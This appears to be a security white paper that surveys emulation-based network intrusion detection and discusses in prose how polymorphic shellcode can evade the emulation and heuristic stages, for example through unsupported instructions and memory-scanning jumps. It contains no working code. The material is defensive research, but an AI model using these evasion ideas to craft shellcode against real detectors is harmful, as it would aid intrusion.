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1. Abstract	  
Emulation-­‐based	  network	  intrusion	  detection	  systems	  have	  been	  devised	  to	  detect	  
the	  presence	  of	   shellcode	   in	  network	   traffic	  by	   trying	   to	  execute	   (portions	  of)	   the	  
network	   packet	   payloads	   in	   an	   instrumented	   environment	   and	   checking	   the	  
execution	   traces	   for	   signs	  of	   shellcode	  activity.	  Emulation-­‐based	  network	   intrusion	  
detection	   systems	   are	   regarded	   as	   a	   significant	   step	   forward	   with	   regards	   to	  
traditional	   signature-­‐based	   systems,	   as	   they	   allow	   detecting	   polymorphic	   (i.e.,	  
encrypted)	   shellcode.	   In	   this	   white	   paper	   we	   investigate	   and	   test	   the	   actual	  
effectiveness	   of	   emulation-­‐based	   detection	   and	   show	   that	   the	   detection	   can	   be	  
circumvented	   by	   employing	   a	   wide	   range	   of	   evasion	   techniques,	   exploiting	  
weakness	  that	  are	  present	  at	  all	  three	  levels	  in	  the	  detection	  process	  by	  an	  APT.	  	  
2. Introduction	  
	  
Emulation-­‐based	  Network	   Intrusion	  Detection	  Systems	   (EBNIDS)	  where	   introduced	  
by	  Polychronakis	   [1]	   to	   identify	   the	  presence	  of	  polymorphic	   shellcode	   in	  network	  
communication,	  without	  having	   to	   rely	  on	   static	   signatures.	   The	  main	   idea	  behind	  
EBNIDS	  is	  to	  check	  whether	  a	  given	  payload	  is	  actually	  malicious	  by	  trying	  to	  execute	  
it	  in	  an	  instrumented	  environment,	  and	  checking	  whether	  the	  execution	  (is	  possible	  
and)	  shows	  the	  signs	  of	  being	  malicious.	  The	  reason	  for	  having	  this	  new	  kind	  of	  NIDS	  
is	  to	  overcome	  the	  limits	  of	  signature-­‐based	  NIDS,	  which	  –	  by	  definition	  –	  can	  only	  
identify	   known	   shellcodes,	   and	   it	   is	   easily	   circumvent	   able	   by	   e.g.,	   polymorphic	  
shellcode.	  
EBNIDS	   work	   by	   transforming	   the	   suspected	   network	   flow	   to	   emulate-­‐able	  
instructions	   and	   then	   trying	   to	   simulate	   these	   instructions	   and	   determine	   what	  
these	  instructions	  execute.	  In	  final	  step	  this	  behavior	  will	  be	  checked	  by	  its	  heuristic	  
signatures	  and	  determine	  if	  this	  actions	  are	  sign	  of	  an	  existing	  shellcode	  or	  not.	  After	  
their	   introduction	   in	   [1],	  we	  have	  seen	  a	  growing	   interest	   in	   this	   field,	  with	  similar	  
approaches	   introduced	  by	  Shimamura[2],	  Polychronakis[3],	  Snow	  [4],	  Gu	   [5],	  Egele	  
[6]	   and	   Portokalidis	   [7].	   Their	   relevance	   is	   also	   confirmed	   by	   the	   fact	   that	   the	  
research	  community	  relies	  on	  EBNIDS	  for	  more	  complex	  systems	  such	  as	  honeynets	  
since	  it	  can	  detect	  several	  attacks	  with	  some	  accuracy	  [8]	  [9]	  [10].	  
In	  this	  whitepaper	  we	  illustrate	  how	  EBNIDS	  work	  by	   introducing	  three	  abstraction	  
layers	  that	  can	  describe	  all	  the	  approaches	  proposed	  so	  far,	  also	  we	  investigate	  the	  
actual	   effectiveness	   of	   EBNIDS,	   and	   we	   show	   that	   present	   EBNIDS	   have	   some	  
intrinsic	  limitations	  that	  makes	  them	  easily	  evadable.	  
The	  technical	  contributions	  of	   this	  whitepaper	  are:	   (1)	  we	   introduce	  simple	  coding	  
techniques	  exploiting	  the	  implementation	  and/or	  design	  limitations	  of	  EBNIDS,	  and	  
show	   that	   they	   allow	   attackers	   to	   completely	   evade	   state-­‐of-­‐the-­‐art	   EBNIDS;	   (2)	  
while	  in	  general	  a	  more	  accurate	  emulation	  yields	  a	  better	  detection	  rate,	  we	  prove	  
that	  it	  is	  possible	  and	  relatively	  easy	  to	  write	  a	  shellcode	  that	  evades	  EBNIDS	  even	  in	  
presence	   of	   perfect	   emulation.	   In	   particular,	   it	   is	   possible	   to	   evade	   the	   heuristics	  
engine	   of	   EBNIDSes.	   These	   evasion	   techniques	   do	   not	   leverage	   implementation	  
limitations	  of	  EBNIDSes	   (e.g.,	   instruction	  set	   support)	  but	  exploit	   limitations	   in	   the	  
design	  of	  heuristics	  detection	  patterns.	  
We	   conclude	   by	   arguing	   that	   (1)	   EBNIDS	   suffer	   the	   same	   limitations	   of	   standard	  
signatures,	   indicating	   that	   EBNIDS	   and	   signature-­‐based	   NIDSes	   share	   important	  
common	   grounds.	   This	   holds	   even	   in	   the	   presence	   of	   perfect	   emulation,	   (2)	   even	  
with	  very	  faithful	  implementations,	  evasion	  techniques	  targeting	  the	  emulation	  will	  
likely	  succeed	  because	  of	  the	  unfeasibility	  of	  a	  perfect	  emulation.	  
Corollary	  to	  our	  results	  is	  that	  research	  based	  on	  complex	  systems	  (e.g.,	  honeynets)	  
depending	   on	   the	   accuracy	   of	   these	   detectors	   is	   probably	   less	   accurate	   that	   we	  
commonly	   assume.	   In	   general	   emulation	   based	   EBNIDS	   needs	   the	   following	   three	  
steps	  procedure	  to	  detect	  the	  encrypted	  shellcodes:	  
1. Pre-­‐Processing:	  The	  pre-­‐processing	  step	  consists	  of	  inspecting	  network	  traffic,	  
extracting	  the	  subset	  of	  traffic	  to	  be	  further	  investigated	  and	  transform	  it	  into	  
an	  emulate-­‐able	  sequence	  of	  bytes.	  	  
2. Emulation:	  Emulation	  consists	  of	   running	  potential	   shellcode	   in	  an	  emulated	  
and	   instrumented	   CPU	   or	   operating	   system	   environment.	   Instrumentation	  
allows	  tracking	  the	  behavior	  of	  the	  emulated	  CPU	  during	  execution.	  	  
3. Heuristics	   Detection:	   The	   Heuristics	   based	   detection	   step	   consists	   of	  
examining	   the	   execution	   tree	   searching	   for	   known	   patterns	   of	   shellcode	  
execution.	   If	  such	  patterns	  are	  found,	  the	  suspected	  network	  data	   is	   flagged	  
as	  shellcode	  and	  an	  alert	  can	  be	  raised	  by	  the	  NIDS.	  	  
One	  of	  the	  main	  duties	  of	  the	  pre-­‐processor	  is	  detecting	  the	  shellcode	  entry	  point	  in	  
a	  network	  stream.	  The	  emulation	  and	  detection	  steps	  are	  computationally	  intensive	  
and	  one	  of	  the	  duties	  of	  the	  pre-­‐processor	  is	  to	  filter	  out	  the	  part	  of	  network	  stream	  
that	   are	   not	   worth	   looking	   at,	   and	   to	   find	   entry	   point	   of	   the	   shellcode,	   indeed	  
emulator	  knows	  “where	   to	  start”,	  and	  does	  not	   require	   to	  consider	  every	  possible	  
position	   in	   the	   network	   flow	   as	   a	   potential	   entry	   point.	   This	   is	   an	   important	   task	  
since	   it	   will	   help	   Emulation	   Based	   NIDS	   to	   cut	   its	   load	   in	   the	   next	   step.	   	  After	   its	  
detection	   a	   suspicious	   network	   stream	   will	   be	   forwarded	   to	   the	   emulator.	   The	  
emulator	   has	   to	   interpret	   the	   shellcode.	   Interpretation	   means	   that	   the	   emulator	  
understands	  and	  executes	   to	   some	  degree	   the	   shellcode.	  Moreover,	   it	   follows	   the	  
instruction	   sets	  and	  detects	   its	  actions	  at	   runtime.	   If	   it	   fails	   to	  do	   so	   it	  will	  not	  be	  
able	   to	   follow	   the	   code	   sequences	   of	   the	   decryption	   routine	   of	   polymorphic	  
shellcode	  and	  as	  a	  result	  not	  be	  able	  to	  emulate	  decryption	  routine	  of	  the	  shellcode	  
correctly.	   Multiple	   techniques	   used	   by	   researchers	   to	   emulate	   the	   shellcode	  
correctly.	   Most	   of	   them	   emulate	   faithfully	   the	   X86	   instruction	   set,	   while	   other	  
support	  more	  instructions	  such	  as	  FPU	  and	  GPU	  instruction	  sets.	  Some	  of	  them	  try	  
to	  improve	  the	  accuracy	  by	  putting	  shellcode	  in	  a	  generic	  memory	  image	  or	  creating	  
a	  virtual	  stack.	  
In	  Heuristic	  detection	  Emulation	  Based	  NIDSes	   look	   for	  shellcodes	  known	  behavior	  
to	   trigger	   its	   heuristics.	   Most	   of	   the	   heuristics	   are	   based	   on	   finding	   GetPC	  
instructions.	  GetPC	  are	  class	  of	  instructions	  that	  used	  by	  shellcodes	  to	  detect	  its	  own	  
memory	   address.	   An	   example	   of	   a	   signature	   that	   triggers	   heuristic	   engine	   is	  
introduced	   in	   a	   paper	   by	   Polychronakis	   [1],	   In	   that	   paper	   the	   researcher	  mention	  
that	  Multiple	  FSTENV	  or	  FSAVE	  (FSTENV	  is	  a	  type	  of	  FPU	  instruction	  which	  is	  used	  to	  
do	   GetPC)	   inside	   the	   shellcode	   can	   be	   a	   sign	   of	   a	   polymorphic	   shellcode.	   Some	  
detection	   signatures	   are	   based	   on	   W-­‐X	   instructions.	   W-­‐X	   Instructions	   refers	   to	  
instructions	  that	  correspond	  to	  a	  code	  in	  the	  memory	  that	  has	  been	  written	  during	  
the	  same	  execution	  chain	   (during	   the	  shellcode	  emulation).	  Generally	   speaking,	  W	  
refers	  to	  unique	  writes	  in	  different	  addresses	  of	  memory	  during	  shellcode	  execution	  
(X).	  In	  addition,	  others	  emphasize	  on	  detecting	  shellcode	  during	  the	  OS	  interaction,	  
such	   as	   calling	   a	   function	   or	   an	   API.	   The	   idea	   comes	   from	   the	   fact	   that	   shellcode	  
needs	   to	   know	   their	   absolute	   address	   to	   call	   an	   API	   in	   the	   OS,	   so	   it	   has	   to	   call	  
common	  functions	  such	  as	  LoadLibrary	  or	  GetProcAddress	  which	  can	  be	  a	  sign	  for	  a	  
heuristic	  engine.	  Other	  techniques	  such	  as	  SEH-­‐based	  GetPC	  detection	  are	  obsolete	  
since	   they	   are	   not	   supported	   by	   most	   of	   modern	   operating	   systems.	   In	   this	  
whitepaper	  we	  prove	  that	  Heuristics	  in	  Emulation	  based	  NIDS	  are	  suffering	  from	  the	  
same	   limitations	  as	  signature	  based	   intrusion	  detection.	  We	  believe	  that	   there	  are	  
common	  threats	  against	  emulation	  based	  and	  signature	  based	  NIDSes.	  
	  
3. Detecting	  shellcode	  on	  Emulation	  based	  NIDS	  
	  
In	  this	  section,	   the	  state-­‐of-­‐the-­‐art	   techniques	  regarding	  emulation-­‐based	  Network	  
Intrusion	  Detection	  are	  discussed.	  As	   it	  already	  stated	   in	  general,	  EBNIDSes	  detect	  
encrypted	   shellcodes	   based	   on	   the	   following	   three	   steps:	   (1)	   pre-­‐processing,	   (2)	  
emulation	  and	  (3)	  heuristic-­‐based	  detection	  (see	  Figure	  1).	  We	  will	  now	  detail	  each	  
of	  these	  steps.	  
	  
Figure	  1.	  Overview	  of	  Emulation	  Based	  Intrusion	  Detection	  System	  functionalities	  
	  
3.1. The	  pre-­‐processing	  level	  detection	  
The	  main	  motivation	  for	  a	  pre-­‐processing	  step	  is	  related	  to	  performance:	  emulation	  
is	   resource	  consuming	  and	   it	  would	  not	  be	   feasible	   to	  emulate	   in	   real-­‐time	  all	   the	  
possible	   sequences	   of	   bytes	   extracted	   from	   the	   network.	   Therefore,	   the	   pre-­‐
processing	  step	  consists	  of	  inspecting	  network	  traffic,	  extracting	  the	  subset	  of	  traffic	  
to	   be	   further	   investigated	   and	   transform	   (disassemble)	   it	   into	   an	   emulate-­‐able	  
sequence	   of	   bytes.	   Disassembly	   refers	   to	   a	   technique	   that	   machine	   instructions	  
being	  extracted	  from	  the	  network	  streams.	  Zhang	  et.al.	  [8]	  propose	  a	  technique	  to	  
identify	   which	   subset(s)	   of	   a	   network	   flow	  may	   contain	   shellcode	   by	   using	   static	  
analysis.	   The	   proposed	   technique	   works	   by	   scanning	   network	   traffic	   for	   the	  
presence	  of	  a	  decryption	   routine,	  which	   is	  part	  of	  any	  polymorphic	   shellcode.	  The	  
authors	   assume	   that	   any	   shellcode,	   at	   some	  point,	  must	   use	   some	   form	  of	  GetPC	  
instruction	   (such	  as	  CALL	  or	  FNSTENV)	   in	  order	  to	  discover	   its	   location	   in	  memory.	  
There	  is	  only	  a	  limited	  amount	  of	  ways	  to	  obtain	  the	  value	  of	  the	  program	  counter,	  
and	   by	  means	   of	   static	   analysis	   the	   seeding	   instructions	   for	   the	  GetPC	   code	   (e.g.,	  
CALL	  or	  FNSTENV	   instructions)	  are	   identified	  and	   flagged	  as	   the	  start	  of	  a	  possible	  
shellcode.	   Although	   some	   of	   the	   early	   EBNIDSes	   (e.g.,	   the	   approach	   proposed	   by	  
Polychronakis	   et.	   al.	   [1])	   do	   not	   implement	   the	   pre-­‐processing	   step,	   follow-­‐up	  
extensions	  all	  include	  some	  form	  of	  pre-­‐processing.	  
	  
	  
3.2. The	  emulator	  level	  detection	  
The	   emulator	   duty	   is	   to	   determine	   what	   a	   sequence	   of	   instructions	   does	   in	   the	  
suspected	  stream,	  but	  it	  have	  to	  do	  it	  in	  a	  quick	  and	  effective	  way.	  To	  achieve	  that,	  
emulators	  have	  to	  make	  some	  compromises.	  A	  complete	  emulation	  based	  detection	  
system	   first,	   must	   support	   all	   hardware	   instruction	   set,	   while	   there	   is	   not	   any	  
available	  emulator	  with	   that	   feature	  and	  second,	   they	  need	  memory	   image	  of	   the	  
target	   machine.	   One	   of	   the	   techniques	   to	   determine	   what	   a	   shellcode	   do,	   is	   to	  
support	  subset	  of	  x86	  instructions,	   like	  the	  approach	  proposed	  by	  Polychronakis	  et	  
al.	  [1]	  and	  [2].	  As	  we	  mentioned,	  software	  based	  emulator	  generally	  only	  support	  a	  
subset	   of	   all	   hardware-­‐supported	   instructions	   since	   there	   is	   a	   gap	   between	  
theoretical	  design	  of	  an	  emulator	  and	  its	  implementation.	  As	  an	  example,	  Libemu	  is	  
not	  capable	  of	  emulating	  some	  floating-­‐point	  operations.	  Shellcode	  that	  contain	  FPU	  
Instructions	   cannot	   be	   emulated	   correctly.	   Also	   the	   shellcode	   can	   use	  MMX,	   SSE,	  
SSE2	   or	   any	   other	   instructions	   which	   are	   supported	   in	   modern	   CPU	   or	   GPUs	   for	  
certain	  calculation.	  The	  second	  problem	  is	  that	  the	  shellcode	  don’t	  know	  about	  the	  
execution	  environment	  of	  the	  target	  (the	  machine	  which	  is	  targeted	  by	  the	  attacker)	  
it’s	  not	  always	  possible	  to	  reliably	  follow	  the	  code	  flow.	  For	  example	  a	  shellcode	  that	  
needs	  a	  value	  or	  a	  code	  in	  the	  process	  memory	  of	  the	  target	  machine	  (It	  called	  non	  
self-­‐contained	  shellcode)	  can’t	  be	  emulated	  properly.	  
To	  overcome	  to	  this	  problem	  Polychronakis	  et	  al.	  propose	  in	  [3]	  a	  generic	  memory	  
image.	  By	  using	  generic	  memory	  image	  the	  emulator	  can	  read	  and	  jump	  to	  generic	  
data	   structure	   and	   system	   calls,	   but	   still	   can’t	   reach	   certain	   value	   in	   the	  memory	  
that	   is	   specific	   for	   the	   targeted	   process.	  One	  way	   to	   overcome	   this	   problem	   is	   to	  
jump	   to	  a	   fixed	  address	  and	  executing	  a	   code	   fragment	   in	   the	  victim	  process.	  The	  
attacker	  can	  detect	  the	  exact	  address	  to	  jump	  to	  by	  preliminary	  experiment.	  Similar	  
but	  more	   robust	  approach	  would	  be	   to	  employ	  memory	  scanning,	  which	   is	  a	   two-­‐
stage	  attack.	  In	  the	  first	  stage,	  the	  memory	  layout	  will	  be	  discovered	  and	  then	  in	  the	  
second	   stage	   after	   determining	   suitable	   code	   region	   the	   real	   jump	   to	   process	  
memory	  is	  performed.	  
A	   easy	   form	   of	   memory-­‐scanning	   attack	   is	   to	   scan	   for	   a	   RET	   instruction	   in	   the	  
memory	  then	  push	  the	  address	  of	  the	  decryption	  loop	  on	  the	  stack	  and	  transfer	  the	  
control	  to	  the	  found	  code	  section.	  This	  will	  make	  the	  RET	  instruction	  transfer	  control	  
back	   to	   the	  decryption	   loop	  but	   obviously	   only	  works	   if	   there	   is	   a	   RET	   instruction	  
present	   in	  the	  scanned	  memory	  area.	  A	  more	  advanced	  version	  could	  search	  for	  a	  
code	  sequence	  known	  to	  be	  contained	  in	  the	  attacked	  process;	  implying	  that	  only	  an	  
emulator	  using	  the	  same	  memory	  image	  could	  faithfully	  emulate	  this	  shellcode.	  
One	  example	  of	  memory-­‐scanning	  attacks	  mentioned	  by	  Makoto	  Shimamura	  et.al.	  
[2]	  are	  pieces	  of	  evasion	  code	  inserted	  between	  the	  GetPC	  code	  and	  the	  decryption	  
loop,	  allowing	  attackers	  to	  evade	  systems	  relying	  on	  GetPC	  Code	  detection.	  Another	  
example	  inserts	  evasion	  code	  just	  before	  control	  is	  transferred	  to	  a	  stack	  area	  where	  
dynamic	  shellcode	  generates	  its	  code,	  allowing	  attackers	  to	  evade	  systems	  counting	  
memory	  writes	  and	  relying	  on	  a	  heuristic	  detecting	  execution	  of	  written	  memory.	  In	  
order	   to	   successfully	   analyze	   shellcode	   that	   employs	   memory	   scanning,	   Makoto	  
Shimamura	  et	  al.	  propose	  Yataglass,	  an	  emulation	  system	  using	  symbolic	  execution.	  
Yataglass	  does	  not	   implement	  a	  set	  of	  heuristics	   in	  order	  to	  determine	  whether	  or	  
not	  the	  analyzed	  sample	  contains	  malware.	  Instead,	  they	  only	  focus	  on	  performing	  
correct	   emulation	   and	   providing	   a	   reliable	   disassembly	   and	   system	   call	   trace.	  
Yataglass	  initializes	  its	  own	  virtual	  stack	  and	  registers	  and	  copies	  the	  shellcode	  to	  its	  
own	  memory	  segment	  after	  which	  Yataglass	  executes	  the	  shellcode	  starting	  with	  the	  
first	   instruction,	   running	   until	   the	   shellcode	   executes	   and	   invalid	   instruction,	   calls	  
terminating	   system-­‐functions	   (exit)	   or	   switches	   execution	   to	   another	   program	  
(execve)	  [2].	  Yataglass	  can	  execute	  conditional	  loops	  to	  trace	  a	  code	  fragment	  that	  a	  
scanning	  loop	  is	  searching	  for.	  A	  different	  approach	  is	  that	  of	  ShellOS	  [4],	  that	  inserts	  
a	   buffer	   in	   a	   memory	   image	   loaded	   on	   a	   hardware-­‐accelerated	   virtualized	  
environment.	  This	  means	  that	  the	  shellcode	  is	  executed	  directly	  on	  the	  CPU,	  which	  
greatly	   improves	   the	   throughput	   of	   ShellOS	   based	   NIDS.	   It	   also	   avoids	   another	  
shortcoming	  of	  software-­‐based	  emulation;	  because	  shellcode	  is	  run	  directly	  on	  the	  
hardware,	  the	  full	  instruction	  set	  of	  the	  system	  is	  available;	  in	  contrast	  to	  the	  subset	  
supported	  by	  most	  software	  based	  solutions.	  This	  means	  that	  even	  MMX	  and	  GPU	  
instructions	  can	  successfully	  be	  executed.	  By	  means	  of	  a	  custom	  kernel,	  the	  state	  of	  
the	  virtual	  machine	   is	  monitored,	  and,	  where	  required,	  specific	  memory	  addresses	  
are	  flagged	  for	  inspection.	  
	  
3.3. Heuristics	  Detection	  
	  
Apart	   from	   faithful	   emulation	  of	   shellcode,	   a	  NIDS	   also	   requires	   some	  mechanism	  
that	   can	   determine	   whether	   or	   not	   the	   supplied	   sample	   is	   to	   be	   considered	  
malicious.	  Polychronakis	  [1]	  assumes	  that	  all	  polymorphic	  shellcode	  share	  two	  basic	  
structures:	  
• Payload-­‐Read:	   Accessing	   memory	   region	   by	   decryption	   routine	   for	   reading	  
the	   encrypted	  payload	  will	   happen	  multiple	   times.	   For	   a	   normal	   code	   there	  
can	  be	  a	  limited	  frequency	  of	  memory	  reads	  while	  it	  can	  be	  greater	  during	  a	  
polymorphic	   shellcode	   execution.	   It	   can	   be	   a	   heuristics	   indication	   for	   a	  
polymorphic	   shellcode	   execution	   by	   setting	   a	   certain	   value	   for	   number	   a	  
memory	   reads	   for	   a	   normal	   code	   and	   once	  memory	   reads	   become	   greater	  
than	   the	   predefined	   number	   (Payload	   Reads	   Threshold	   (PRT)),	   code	   can	   be	  
detected	  as	  polymorphic	  shellcode.	  
	  
• GetPC	   Code:	   Since	   there	   exist	   situations	  where	   random	  data	   interpreted	   as	  
code	   exceeds	   the	   first	   heuristic,	   a	   second	   condition	   is	   imposed.	   Shellcode	  
must	  at	  some	  point	  obtain	  its	  own	  address	  in	  memory,	  a	  procedure	  known	  as	  
GetPC	  code.	  The	  paper	  states	  that	  ”the	  existence	  of	  one	  of	  the	  four	  call,	  two	  
FSTENV,	  or	  two	  FNSAVE	  instructions	  of	  the	  IA-­‐32	  instruction	  set	  serves	  as	  an	  
indication	  of	   the	  potential	  execution	  of	  GetPC	  code”.	  Hence,	   if	  an	  execution	  
chain	   executes	   some	   form	  of	  GetPC	   code,	   followed	  by	   at	   least	   PRT	  payload	  
reads,	  the	  stream	  is	  flagged	  to	  contain	  polymorphic	  shellcode.	  
Polychronakis	   et	   al.	   [9],	   propose	   alternative	   heuristics	   in	   order	   to	   more	   reliably	  
determine	  if	  a	  sample	  is	  to	  be	  considered	  malicious:	  
• WX-­‐Instructions:	   By	   writing	   the	   decryption	   payload	   to	   the	   memory	   the	  
polymorphic	   shellcode	   decrypt	   itself.	   This	   writes	   to	   the	   memory	   contains	  
instructions.	   Instructions	   on	   memory	   addresses	   that	   have	   previously	   been	  
written	   to	   referred	   as	   wx-­‐instructions	   (write-­‐execute	   instructions).	   The	  
decrypted	  payload	  consists	  of	  such	  wx-­‐instructions,	  which	  may	  be	  allocated	  in	  
a	   memory	   area	   different	   from	   the	   initial	   payload	   area,	   may	   be	   interleaved	  
with	   non-­‐wx-­‐instructions,	   etc.	   Based	   on	   these	   observations,	   the	   following	  
heuristic	   is	  proposed:	   ”if	   at	   the	  end	  of	  an	  execution	  chain	   the	  emulator	  has	  
performed	   W	   unique	   writes	   and	   has	   executed	   X	   wx-­‐instructions,	   then	   the	  
execution	  chain	  corresponds	  to	  a	  non-­‐self-­‐contained	  polymorphic	  shellcode”.	  
Non-­‐self	  contained	  shellcode	  often	  uses	  a	  general-­‐purpose	  register	  in	  order	  to	  
obtain	  its	  address	  in	  memory.	  However,	  the	  NIDS	  cannot	  know	  which	  of	  the	  8	  
general-­‐purpose	   registers	   will	   be	   used,	   for	   this	   depends	   on	   the	   targeted	  
application.	  Therefore,	  the	  system	  initializes	  all	  8	  general-­‐purpose	  registers	  to	  
the	   starting	   address	   of	   the	   shellcode.	  However,	   another	   problem	  arises,	   for	  
initializing	   all	   registers	   to	   the	   shellcode	   starting	   address	   leads	   to	   a	   lot	  more	  
possible	  execution	   chains	  with	  many	  wx-­‐instructions,	   increasing	   the	  number	  
of	  false	  positives.	  In	  order	  to	  mitigate	  this,	  Polychronakis	  et	  al.	  introduce	  what	  
they	   call	   second-­‐stage	   execution.	   This	   means	   that	   when	   a	   given	   execution	  
chain	   exceeds	   the	   thresholds	   for	   unique	   writes	   and	   execution	   of	   wx-­‐
instructions,	   emulation	   of	   this	   chain	   is	   repeated	   eight	   times.	   Each	   of	   these	  
times	   only	   one	   of	   the	   eight	   general-­‐purpose	   registers	   is	   set	   to	   point	   to	   the	  
base	   address	   while	   the	   others	   are	   randomized.	   If	   one	   of	   these	   iterations	  
exceeds	  the	  wx-­‐instruction	  count	  threshold,	  the	  probability	  of	  a	  false	  positive	  
is	  low,	  and	  the	  sample	  is	  thus	  considered	  malicious.	  
Polychronakis	   et	   al.	   propose	   a	   different	   method	   in	   their	   paper	   [3].	   The	   method	  
proposed	  in	  their	  paper	  relies	  on	  a	  set	  of	  runtime	  heuristics	  to	  identify	  the	  presence	  
of	  shellcode	  in	  arbitrary	  data	  streams,	  not	  only	  polymorphic	  but	  also	  metamorphic	  
shellcode.	   These	   runtime	   heuristics	   are	   based	   on	   ”fundamental	   machine	   level	  
operations	   that	   are	   inescapably	   performed	   by	   different	   shellcode	   types”	   and	   are	  
implemented	   in	   a	   prototype	   called	   Gene.	   Each	   runtime-­‐heuristic	   in	   Gene	   is	  
composed	  of	  several	  conditions	  which	  should	  all	  be	  satisfied	   in	  the	  specified	  order	  
during	  the	  execution	  of	  the	  code	  for	  the	  heuristic	  to	  yield	  true.	  The	  paper	  identifies	  
the	  4	  following	  runtime-­‐heuristics:	  
	  
1. Kernel32.dll	   base	   address	   resolution:	   Whatever	   a	   particular	   piece	   of	  
shellcode	   aims	   to	   achieve,	   it	   usually	   involves	   just	   a	   few	   simple	   operations	  
requiring	   interaction	  with	   the	  OS	   through	   the	   system	   call	   interface	   or	   user-­‐
level	   API.	   This	   particular	   heuristic	   focuses	   on	   behavior	   specific	   to	  Windows	  
shellcode.	   In	   order	   to	   call	   an	   API	   function,	   the	   shellcode	  must	   first	   find	   its	  
absolute	   address	   in	   the	   address	   space	   of	   the	   process.	   In	   fact,	   Kernel32.dll	  
provides	  the	  quite	  convenient	   functions	  LoadLibrary	  and	  GetProcAddress	   for	  
this.	   Thus,	   a	   common	   fundamental	   operation	   in	   all	   above	   cases	   is	   that	   the	  
shellcode	   has	   to	   first	   locate	   the	   base	   address	   of	   kernel32.dll.	   Gene	   has	  
heuristics	   for	   two	   methods	   (using	   the	   Process	   Environment	   Block	   or	  
Backwards	  Searching)	  of	  obtaining	  the	  Kernel32.dll	  base	  address.	  
	  
2. Process	   Memory	   Scanning:	   Some	   exploits	   allow	   only	   limited	   space	   for	   the	  
injected	  code,	  usually	  not	  enough	  for	  a	  fully	  functional	  shellcode.	  In	  most	  such	  
exploits	  though,	  the	  attacker	  can	  inject	  a	  second,	  much	  larger	  payload	  which	  
however	  will	  land	  at	  a	  random	  location,	  e.g.	  in	  a	  buffer	  allocated	  in	  the	  heap.	  
The	  first-­‐stage	  shellcode	  can	  then	  sweep	  the	  address	  space	  of	  the	  process	  and	  
search	  for	  the	  second-­‐stage	  shellcode	  (also	  known	  as	  the	  egg),	  which	  can	  be	  
identified	   by	   a	   long-­‐enough	   characteristic	   byte	   sequence.	   This	   type	   of	   first-­‐
stage	  payload	  is	  known	  as	  egg-­‐hunt	  shellcode.	  Blindly	  searching	  the	  memory	  
of	  a	  process	  in	  a	  reliable	  way	  requires	  some	  method	  of	  determining	  whether	  a	  
given	  memory	  page	   is	  mapped	   into	   the	  address	   space	  of	   the	  process.	  Gene	  
can	   recognize	   shellcode	   that	   tries	   to	   get	   information	   about	   paged	  memory	  
through	  SEH	  and	  SYSCALL-­‐based	  scanning	  methods.	  
	  
3. SEH-­‐based	  GetPC	  Code:	  When	  an	  exception	  occurs,	  the	  system	  generates	  an	  
exception	   record	   that	   contains	   the	   necessary	   information	   for	   handling	   the	  
exception	  which	   contains	   the	   value	  of	   the	  program	  counter	   at	   the	   time	   the	  
exception	   was	   triggered.	   This	   information	   is	   stored	   on	   the	   stack,	   so	   the	  
shellcode	  can	  register	  a	  custom	  exception	  handler,	  trigger	  an	  exception,	  and	  
then	  extract	  the	  absolute	  memory	  address	  of	  the	  faulting	   instruction.	  This	   is	  
an	   inherent	   operation	   of	   any	   SEH-­‐based	   egg-­‐hunt	   shellcode;	   any	   shellcode	  
that	   installs	   a	   custom	   exception	   handler	   can	   be	   detected,	   including	  
polymorphic	  shellcode	  that	  uses	  SEH-­‐based	  GetPC	  code.	  Hence,	  this	  yields	  an	  
extra	  heuristic	  flag.	  
	  
4. Decryption-­‐routine	  verification:	  Different	  heuristics	  are	  employed	  in	  order	  to	  
reduce	   the	   amount	   of	   data	   that	   has	   to	   be	   emulated,	   and	   for	   determining	  
whether	  or	  not	  the	  network	  flow	  contains	  a	  polymorphic	  shellcode.	  First,	  the	  
input	  is	  scanned	  for	  GetPC	  code,	  giving	  a	  list	  of	  possible	  starting	  locations	  for	  
shellcode.	  This	  is	  done	  by	  identifying	  seeding	  instructions	  of	  GetPC	  code,	  such	  
as	  CALL	  or	  FNSTENV,	  which	  store	  the	  program	  counter	  for	  later	  reference.	  The	  
next	  step	  is	  to	  identify	  the	  decryption	  loop	  of	  the	  polymorphic	  shellcode.	  This	  
is	   done	   using	   recursive	   traversal	   after	   which	   it	   is	   passed	   on	   for	   emulation-­‐
based	   verification.	   Once	   a	   loop	   is	   identified	   through	   recursive	   traversal,	   it	  
becomes	   a	   candidate	   for	   a	   decryption	   routine.	  However,	   recursive	   traversal	  
can	   be	   thwarted	   through	   the	   use	   of	   indirect	   addressing	   or	   self-­‐modifying	  
code.	  In	  order	  to	  combat	  this,	  decryption	  loop	  detection	  has	  been	  enhanced.	  
The	  first	  method	  employs	  both	  forward	  and	  backward	  traversal	  of	  bytes	  from	  
the	  GetPC	   seeding	   instruction.	   Forward	   traversal	   involves	   the	   usual	  method	  
following	   the	   control-­‐flow,	   starting	   from	   the	   seeding	   instruction.	   It	   thus	  
identifies	   instructions	   that	   are	   dataflow	   dependent	   on	   the	   GetPC	   code.	  
Backward	   traversal	   works	   in	   a	   reverse	   direction	   starting	   from	   the	   seeding	  
instruction.	  This	  is	  necessary	  because	  the	  seeding	  instruction	  may	  not	  be	  the	  
first	  instruction	  of	  the	  decryption	  loop	  and	  important	  initialization	  instructions	  
might	   precede	   it.	   Due	   to	   the	   self-­‐synchronizing	   property	   of	   the	   Intel	  
instruction	  set,	  multiple	  instruction	  sequences	  could	  be	  found.	  
In	  order	  to	  determine	  whether	  backward	  traversal	  is	  necessary	  and,	  if	  it	  is,	  which	  
instruction	   sequence	   belongs	   to	   the	   decryption	   routine,	   backward	   data-­‐flow	  
analysis	   is	  used.	  This	  means	  that	  during	  the	   initial	   forward	  traversal	  there	  are	  2	  
possible	  trigger	  instruction	  types	  that	  warrant	  backward	  dataflow	  analysis:	  
• Instructions	   that	  write	   to	  memory:	  potentially	  used	  for	  decrypting	  a	  hidden	  
loop	  or	  the	  encrypted	  payload.	  
• Branch	   instructions	   with	   indirect	   addressing:	   potentially	   used	   to	   obfuscate	  
control	  flow.	  
If	   all	   required	   variables	   for	   the	   decryption	   routine	   have	   been	   defined	   after	   the	  
seeding	   instruction,	   there	   is	   no	   non-­‐GetPC	   decryption	   routine	   code	   that	   exists	  
before	   the	   seeding	   instruction,	   otherwise	   there	   must	   be.	   If	   required,	   the	   system	  
performs	  backward	  traversal	  using	  breadth-­‐first	  search.	  This	  means	  that	  the	  entire	  
network	  capture	  segment	  is	  examined	  and	  first	  all	  instructions	  directly	  reaching	  the	  
seeding	   instruction	   are	   found.	   In	   order	   to	   determine	   which	   instruction-­‐sequence	  
